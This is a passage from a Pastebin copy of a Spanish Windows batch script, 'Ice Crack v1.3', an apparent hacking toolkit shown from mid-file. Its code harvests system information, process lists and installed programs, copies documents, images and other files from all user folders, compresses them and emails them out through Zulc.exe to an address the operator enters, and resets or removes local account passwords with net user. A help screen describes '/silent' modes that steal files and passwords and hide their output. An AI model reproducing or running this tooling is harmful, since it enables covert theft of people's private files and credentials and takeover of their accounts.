  735. Echo: Nombre : %%B)
  736. for /f "tokens=2,*" %%A in ('Reg Query "%%a" ^| find /I "displayversion"') Do (
  737. Echo: Version : %%B)
  738. for /f "tokens=1,* delims=\" %%A in ('Reg Query "%%a" ^| find /I "App Path"') Do (
  739. Echo: Ruta : %HOMEDRIVE%\%%B)
  740. for /f "tokens=2,*" %%A in ('Reg Query "%%a" ^| find /I "uninstallstring"') Do (
  741. Echo: Uninstall: %%B)
  742. )
  743. pause
  744. Goto :MENU:
  745.  
  746. :tree
  747. for /D %%a in (%HOMEDRIVE%\*) DO (If NOT "%%a" EQU "%WINDIR%" (Tree /A /F %%a | MORE))
  748. pause
  749. Goto :MENU:
  750.  
  751. :TODO_INFO
  752. Cls
  753. Echo.
  754. Echo. Recuperando toda la informaci¢n posible de %computername% - %username%
  755. Echo.
  756. MKdir "%FOLDER%\Info\" >NUL 2>&1
  757. systeminfo > "%FOLDER%\Info\informaci¢n basica.txt" 2>&1
  758. (
  759. Echo: ---------------------
  760. Echo: Variables de entorno:
  761. Echo: --------------------- | MORE
  762. For /F "tokens=1,* delims==" %%a in ('set') do (
  763. Echo: %%%%a%%
  764. Echo: %%b | MORE)
  765. Echo: -----
  766. Echo: Boot:
  767. Echo: ----- | MORE
  768. C:\Windows\System32\wbem\wmic BOOTCONFIG get /format:list | MORE
  769. Echo: ---------
  770. Echo: Pagefile:
  771. Echo: --------- | MORE
  772. C:\Windows\System32\wbem\wmic PAGEFILE get /format:list | MORE
  773. Echo: -------------
  774. Echo: Zona horaria:
  775. Echo: ------------- | MORE
  776. C:\Windows\System32\wbem\wmic TIMEZONE get /format:list | MORE
  777. )>"%FOLDER%\Info\informaci¢n avanzada - Sistema.txt"
  778. Echo: --------- > "%FOLDER%\Info\informaci¢n avanzada - Hardware.txt"
  779. Echo: Unidades: >> "%FOLDER%\Info\informaci¢n avanzada - Hardware.txt"
  780. Echo: --------- | MORE >> "%FOLDER%\Info\informaci¢n avanzada - Hardware.txt"
  781. :HDD_INFO_todo
  782. Set /A NEXTt+=1
  783. For /F "tokens=%NEXTt% delims=Unidades:\ " %%a in ('fsutil fsinfo drives') Do (
  784. If NOT "%%a" EQU "" (
  785. Echo %%a: >> "%FOLDER%\Info\informaci¢n avanzada - Hardware.txt"
  786. Echo -- | MORE >> "%FOLDER%\Info\informaci¢n avanzada - Hardware.txt"
  787. fsutil fsinfo drivetype %%a: | MORE >> "%FOLDER%\Info\informaci¢n avanzada - Hardware.txt"
  788. fsutil fsinfo volumeinfo %%a: | MORE >> "%FOLDER%\Info\informaci¢n avanzada - Hardware.txt"
  789. fsutil fsinfo ntfsinfo %%a: | MORE >> "%FOLDER%\Info\informaci¢n avanzada - Hardware.txt"
  790. fsutil fsinfo statistics %%a: | MORE >> "%FOLDER%\Info\informaci¢n avanzada - Hardware.txt"
  791. fsutil quota query %%a: | MORE >> "%FOLDER%\Info\informaci¢n avanzada - Hardware.txt"
  792. fsutil repair query %%a: | MORE >> "%FOLDER%\Info\informaci¢n avanzada - Hardware.txt"
  793. fsutil resource info %%a: | MORE >> "%FOLDER%\Info\informaci¢n avanzada - Hardware.txt"
  794. Goto :HDD_INFO_todo
  795. )
  796. )
  797. (
  798. Echo: -----------
  799. Echo: Placa base:
  800. Echo: ----------- | MORE
  801. C:\Windows\System32\wbem\wmic BASEBOARD get /format:list | MORE
  802. Echo: -----
  803. Echo: BIOS:
  804. Echo: ----- | MORE
  805. C:\Windows\System32\wbem\wmic bios get /format:list | MORE
  806. Echo: ----
  807. Echo: CPU:
  808. Echo: ---- | MORE
  809. C:\Windows\System32\wbem\wmic CPU get /format:list | MORE
  810. Echo: --------
  811. Echo: Monitor:
  812. Echo: -------- | MORE
  813. C:\Windows\System32\wbem\wmic DESKTOPMONITOR get /format:list | MORE
  814. )>> "%FOLDER%\Info\informaci¢n avanzada - Hardware.txt"
  815. (
  816. Echo: ---------
  817. Echo: Procesos:
  818. Echo: --------- | MORE
  819. C:\Windows\System32\wbem\wmic process get name,caption,Description,ExecutablePath,InstallDate,commandline,UserModeTime /Format:list | MORE
  820. )>> "%FOLDER%\Info\informaci¢n avanzada - Procesos.txt"
  821.  
  822. (
  823. Echo: ---------------------
  824. Echo: Programas instalados:
  825. Echo: --------------------- | MORE
  826. for /f "tokens=*" %%A in ('Reg Query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall"') do (
  827. for /f "tokens=2,*" %%A in ('Reg Query "%%A" ^| find /I "displayname"') Do (
  828. Echo+
  829. Echo: Nombre : %%B)
  830. for /f "tokens=2,*" %%A in ('Reg Query "%%A" ^| find /I "displayversion"') Do (
  831. Echo: Version : %%B)
  832. for /f "tokens=1,* delims=\" %%A in ('Reg Query "%%A" ^| find /I "App Path"') Do (
  833. Echo: Ruta : %HOMEDRIVE%\%%B)
  834. for /f "tokens=2,*" %%A in ('Reg Query "%%A" ^| find /I "uninstallstring"') Do (
  835. Echo: Uninstall: %%B))
  836. )> "%FOLDER%\Info\informaci¢n avanzada - Programas instalados.txt"
  837. for /D %%a in (%HOMEDRIVE%\*) DO (If NOT "%%a" EQU "%WINDIR%" (Tree /A /F %%a >> "%FOLDER%\Info\Tree.txt"))
  838. If defined mail (Call :Sendmail)
  839. IF /I "%*" EQU "TODO" (Goto :EOF)
  840. Echo. Se ha guardado una copia en la carpeta:
  841. Echo. "%FOLDER%\Info\"
  842. If /I NOT "%~1" EQU "" (Exit /B 0)
  843. Pause
  844. Goto :MENU:
  845.  
  846.  
  847.  
  848. :######:
  849. :CUATRO:
  850. :######:
  851. Set tipo=
  852. Call :Logo
  853. Echo. Elija el tipo de archivos. | MORE | MORE
  854. Echo. (1) Recuperar documentos. | MORE
  855. Echo. (2) Recuperar imagenes. | MORE
  856. Echo. (3) Recuperar documentos e imagenes. | MORE
  857. Echo. (4) Recuperar otro tipo de archivos. | MORE
  858. Echo. (0) Volver... | MORE | MORE | MORE
  859. Set /P tipo=^>^>^>
  860. If NOT Defined Tipo (Goto :CUATRO:)
  861. If "%Tipo%" EQU "1" (Set "Files=Documentos" & Goto :FILE_DOCS)
  862. If "%Tipo%" EQU "2" (Set "Files=Imagenes" & Goto :FILE_PICS)
  863. If "%Tipo%" EQU "3" (Set "Files=Documentos e imagenes" & Goto :FILE_DOCS_AND_PICS)
  864. If "%Tipo%" EQU "4" (Set "Files=Otros archivos" & Goto :FILE_OTHER)
  865. If "%Tipo%" EQU "0" (goto :Menu:)
  866. Goto :CUATRO:
  867.  
  868. :FILE_DOCS
  869. CLS
  870. Call :Email
  871. call :Logo
  872. Echo: Recuperando documentos de "%Username%" ...
  873. Set "folder=%FOLDER%\Archivos"
  874. MKDIR "%FOLDER%\%FILES%" >NUL 2>&1
  875. PUSHD "%HOMEDRIVE%\users\"
  876. For /F "Tokens=*" %%X in ('Dir /A /B /S "*.txt","*.doc*","*.pdf","*.rtf*",".log","*.odt","*.htm*","*.xml","*.bat","*.cmd","*.py","*.rb"') Do (
  877. Echo %%X
  878. MKDIR "%FOLDER%\%FILES%%%~pX" >NUL 2>&1
  879. Copy /Y "%%X" "%FOLDER%\%FILES%%%~pX\" >NUL 2>&1
  880. )
  881. POPD
  882. IF defined MAIL (call :Sendmail)
  883. Echo. Se ha guardado una copia en la carpeta:
  884. Echo. "%FOLDER%\%FILES%" | MORE
  885. If /I NOT "%~1" EQU "" (Exit /B 0)
  886. Pause
  887. Goto :MENU:
  888.  
  889. :FILE_PICS
  890. CLS
  891. Call :Email
  892. call :Logo
  893. Echo: Recuperando imagenes de "%Username%" ...
  894. Set "folder=%FOLDER%\Archivos"
  895. MKDIR "%FOLDER%\%FILES%" >NUL 2>&1
  896. PUSHD "%HOMEDRIVE%\users\"
  897. For /F "Tokens=*" %%X in ('Dir /A /B /S "*.bmp","*.jpg*","*.jpeg","*.png*",".gif","*.ico","*.tif*","*.tiff"') Do (
  898. Echo %%X
  899. MKDIR "%FOLDER%\%FILES%%%~pX" >NUL 2>&1
  900. Copy /Y "%%X" "%FOLDER%\%FILES%%%~pX\" >NUL 2>&1
  901. )
  902. POPD
  903. IF defined MAIL (call :Sendmail)
  904. Echo. Se ha guardado una copia en la carpeta:
  905. Echo. "%FOLDER%\%FILES%" | MORE
  906. If /I NOT "%~1" EQU "" (Exit /B 0)
  907. Pause
  908. Goto :MENU:
  909.  
  910. :FILE_DOCS_AND_PICS
  911. CLS
  912. If /I "%*" EQU "" (Call :Email)
  913. If /I "%*" EQU "" (call :Logo)
  914. Echo: Recuperando documentos e imagenes de "%Username%" ...
  915. Set "folder=%FOLDER%\Archivos"
  916. MKDIR "%FOLDER%\%FILES%" >NUL 2>&1
  917. PUSHD "%HOMEDRIVE%\users\"
  918. For /F "Tokens=*" %%X in ('Dir /A /B /S "*.txt","*.doc*","*.pdf","*.rtf*",".log","*.odt","*.htm*","*.xml","*.bat","*.cmd","*.py","*.rb","*.bmp","*.jpg*","*.jpeg","*.png*",".gif","*.ico","*.tif*","*.tiff"') Do (
  919. Echo %%X
  920. MKDIR "%FOLDER%\%FILES%%%~pX" >NUL 2>&1
  921. Copy /Y "%%X" "%FOLDER%\%FILES%%%~pX\" >NUL 2>&1
  922. )
  923. POPD
  924. IF defined MAIL (call :Sendmail)
  925. IF /I "%*" EQU "TODO" (Goto :EOF)
  926. Echo. Se ha guardado una copia en la carpeta:
  927. Echo. "%FOLDER%\%FILES%" | MORE
  928. If /I NOT "%~1" EQU "" (Exit /B 0)
  929. Pause
  930. Goto :MENU:
  931.  
  932. :FILE_OTHER
  933. CLS
  934. call :Logo
  935. Echo. Escribe el tipo de extensión del archivo! | MORE | MORE
  936. Echo. Ejemplo 1: .zip | MORE
  937. Echo. Ejemplo 2: .zip, .rar, .7z | MORE
  938. Echo. (0) Volver... | MORE | MORE | MORE
  939. Set /P ext=^>^>^>
  940. If NOT Defined ext (Goto :FILE_OTHER)
  941. If "%ext%" EQU "0" (goto :CUATRO:)
  942. Echo "%ext%" | Find "." >NUL || (Goto :FILE_OTHER)
  943. IF NOT "%EXT:~-1%" EQU "," (Set "ext=%ext%^"^")
  944. Set "ext=%ext:.="*.%"
  945. Set "ext=%ext:,=",%"
  946. REM "
  947. CLS
  948. Call :Email
  949. call :Logo
  950. Echo: Recuperando otros archivos de "%Username%" ...
  951. Set "folder=%FOLDER%\Archivos"
  952. MKDIR "%FOLDER%\%FILES%" >NUL 2>&1
  953. PUSHD "%HOMEDRIVE%\users\"
  954. For /F "Tokens=*" %%X in ('Dir /A /B /S %EXT%') Do (
  955. Echo %%X
  956. MKDIR "%FOLDER%\%FILES%%%~pX" >NUL 2>&1
  957. Copy /Y "%%X" "%FOLDER%\%FILES%%%~pX\" >NUL 2>&1
  958. )
  959. POPD
  960. IF defined MAIL (call :Sendmail)
  961. Echo. Se ha guardado una copia en la carpeta:
  962. Echo. "%FOLDER%\%FILES%" | MORE
  963. If /I NOT "%~1" EQU "" (Exit /B 0)
  964. Pause
  965. Goto :MENU:
  966.  
  967. :Email
  968. Set Mail=
  969. call :Logo
  970. Choice /M "¨Quieres enviar por e-mail los archivos que recuperes?"
  971. IF %ERRORLEVEL%==2 (Goto :EOF)
  972.  
  973. :Email_menu
  974. If %Bits% EQU 64 (Set sevenzip=7zx64) ELSE (Set sevenzip=7zx86)
  975. Call :Logo
  976. Echo. Escribe el email! | MORE | MORE
  977. Echo. Ejemplo 1: email@hotmail.com | MORE
  978. Echo. Ejemplo 2: email@hotmail.com, email@live.com, email@gmail.com | MORE
  979. Echo. (0) Volver... | MORE | MORE | MORE
  980. Set /P mail=^>^>^>
  981. If NOT Defined mail (Goto :Email_menu)
  982. If "%mail%" EQU "1" (Goto :FILE_DOCS)
  983. If "%mail%" EQU "0" (goto :CUATRO:)
  984. Echo "%mail%" | Find "@" >NUL || (Goto :Email_menu)
  985. cls
  986. Goto :EOF
  987.  
  988. :Sendmail
  989. Echo+
  990. Echo: Comprimiendo los archivos... | MORE
  991. %sevenzip%.exe a -v100m "%FOLDER%\%FILES%\%FILES%.7z" "%FOLDER%\%FILES%" >NUL || (7zx64.exe a -v100m "%FOLDER%\%FILES%\%FILES%.7z" "%FOLDER%\%FILES%" >NUL)
  992. Echo: Enviando los archivos por email... [ %MAIL% ]
  993. Setlocal enabledelayedexpansion
  994. PUSHD "%FOLDER%\%FILES%"
  995. For /R %%a in (*.7z*) do (
  996. Set /A NUM+=1
  997. Zulc.exe -path="%%a" -receivers="%MAIL%" -remarks="Ice Crack v1.3 - By Elektro H@cker - Foro.ElHacker.Net" -language="es" - subject="%DATE:/=-% - %FILES% de %COMPUTERNAME%/%USERNAME% - Parte !NUM!"
  998. ) >NUL 2>&1
  999. POPD
  1000. Goto :EOF
  1001.  
  1002.  
  1003.  
  1004. :######:
  1005. :CINCO:
  1006. :######:
  1007. Set tipo=
  1008. Call :Logo
  1009. Echo. Escriba el nombre del usuario. | MORE
  1010. Echo. Usuario actual: %USERNAME% | MORE | MORE | MORE | MORE | MORE | MORE | MORE | MORE | MORE | MORE | MORE | MORE | MORE | MORE | MORE | MORE
  1011. Echo. (0) Volver... | MORE | MORE | MORE
  1012. Set /P usuario=^>^>^>
  1013.  
  1014. If NOT Defined usuario (Goto :CINCO:)
  1015. If "%usuario%" EQU "0" (goto :Menu:)
  1016. Net user "%Usuario%" >NUL 2>&1 || (Goto :CINCO:)
  1017.  
  1018. Call :Logo
  1019. Echo. Escriba la nueva contrase¤a para "%usuario%" | MORE
  1020. Echo. O pulse "Enter" para eliminar la contrase¤a actual.| MORE | MORE | MORE | MORE | MORE | MORE | MORE | MORE | MORE | MORE | MORE | MORE | MORE | MORE | MORE | MORE
  1021. Echo. (0) Volver... | MORE | MORE | MORE
  1022. Set /P pass=^>^>^>
  1023.  
  1024. If NOT Defined pass (Net user "%usuario%" "")
  1025. If "%pass%" EQU "0" (goto :Menu:)
  1026. Net user "%usuario%" "%pass%"
  1027.  
  1028. Cls
  1029. Echo.
  1030. Echo. La nueva contrase¤a para "%usuario%" es "%Pass%" | MORE
  1031. Set usuario=
  1032. Set Pass=
  1033. Pause
  1034. Goto :MENU:
  1035.  
  1036.  
  1037.  
  1038. :HELP
  1039. call :logo
  1040. Echo: Comandos silenciosos de IceCrack (1/2)
  1041. Echo:
  1042. Echo:
  1043. Echo: /silent info
  1044. Echo: Recupera toda la informaci¢n acerca del PC.
  1045. Echo:
  1046. Echo: /silent info email:TUEMAIL@hotmail.com
  1047. Echo: Recupera toda la informaci¢n acerca del PC, y la envia por email.
  1048. Echo:
  1049. Echo: /silent files
  1050. Echo: Recupera todos los archivos de documentos e imagenes.
  1051. Echo:
  1052. Echo: /silent files email:TUEMAIL@hotmail.com
  1053. Echo: Recupera todos los archivos de documentos e imagenes, y las envia por email.
  1054. Echo:
  1055. Echo: /silent pass
  1056. Echo: Recupera todas las contrase¤as e informaci¢n del PC.
  1057. Echo:
  1058. Echo: /silent pass email:TUEMAIL@hotmail.com
  1059. Echo: Recupera todas las contrase¤as e informaci¢n del PC, y las envia por email.
  1060. Echo:
  1061. Echo:
  1062. pause
  1063. call :logo
  1064. Echo: Comandos silenciosos de IceCrack (2/2)
  1065. Echo:
  1066. Echo:
  1067. Echo: /silent
  1068. Echo: Recupera todo lo posible.
  1069. Echo:
  1070. Echo: /silent email:TUEMAIL@hotmail.com
  1071. Echo: Recupera todo lo posible, Y lo envia por email.
  1072. Echo:
  1073. Echo:
  1074. Echo: Nota : Para ocultar los mensajes solo hay que redireccionar la salida usando ">NUL"
  1075. Echo: Ejemplo: IceCrack.bat /Silent pass email:ELEKTROHACKER@LIVE.COM ^>NUL
  1076. Echo:
  1077. Echo:
  1078. Echo:
  1079. Echo:
  1080. Echo:
  1081. Echo:
  1082. Echo:
  1083. Echo:
  1084. Echo:
  1085. Echo:
  1086. Pause
  1087. Goto :MENU:
  1088.  
  1089.  
  1090. :::::::::::::::
  1091. :Elegir_Archivo
  1092. :::::::::::::::
  1093. Cls
  1094. Echo.
  1095. Echo. Arrastre a esta ventana el archivo %tipo%. | MORE
  1096. Echo. O escriba la ruta manualmente (Con comillas dobles).
  1097. Echo. Ejemplo: "C:\Archivo.%tipo%" | MORE | MORE
  1098. Set /p Archivo=^>^>^>
  1099. If not defined Archivo (goto :Elegir_Archivo)
  1100. If not exist %Archivo% (goto :Elegir_Archivo)
  1101. Call :TITLEIT "%archivo%"
  1102. Goto :EOF
  1103.  
  1104. :::::::::::::::::::
  1105. :Elegir_diccionario
  1106. :::::::::::::::::::
  1107. Cls
  1108. Echo.
  1109. Echo. Arrastre a esta ventana el archivo de diccionario. | MORE
  1110. Echo. O escriba la ruta manualmente (Con comillas dobles).
  1111. Echo. Ejemplo: "C:\Wordlist.txt" | MORE | MORE
  1112. Set /p Wordlist=^>^>^>
  1113. If not defined Wordlist (goto :Elegir_diccionario)
  1114. If not exist %wordlist% (goto :Elegir_diccionario)
  1115. Call :TITLEIT "%archivo%" "%Wordlist%"
  1116. GOTO :EOF
  1117.  
  1118.  
  1119. ::::::::
  1120. :TITLEIT
  1121. ::::::::
  1122. If defined wordlist (Title Ice Crack v1.3 ^( Crackeando: %~nx1 con diccionario: %~nx2 ^)) ELSE (Title Ice Crack v1.3 ^( Crackeando: %~nx1 al vuelo ^))
  1123. Goto :EOF
  1124.  
  1125.  
  1126. :###:
  1127. :Fin:
  1128. :###:
  1129. Del /Q "%TEMP%\Ice crack*" >NUL 2>&1
  1130. Echo. | MORE | MORE
  1131. Echo. Pulse una tecla para salir...
  1132. Pause >nul
  1133. Exit
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!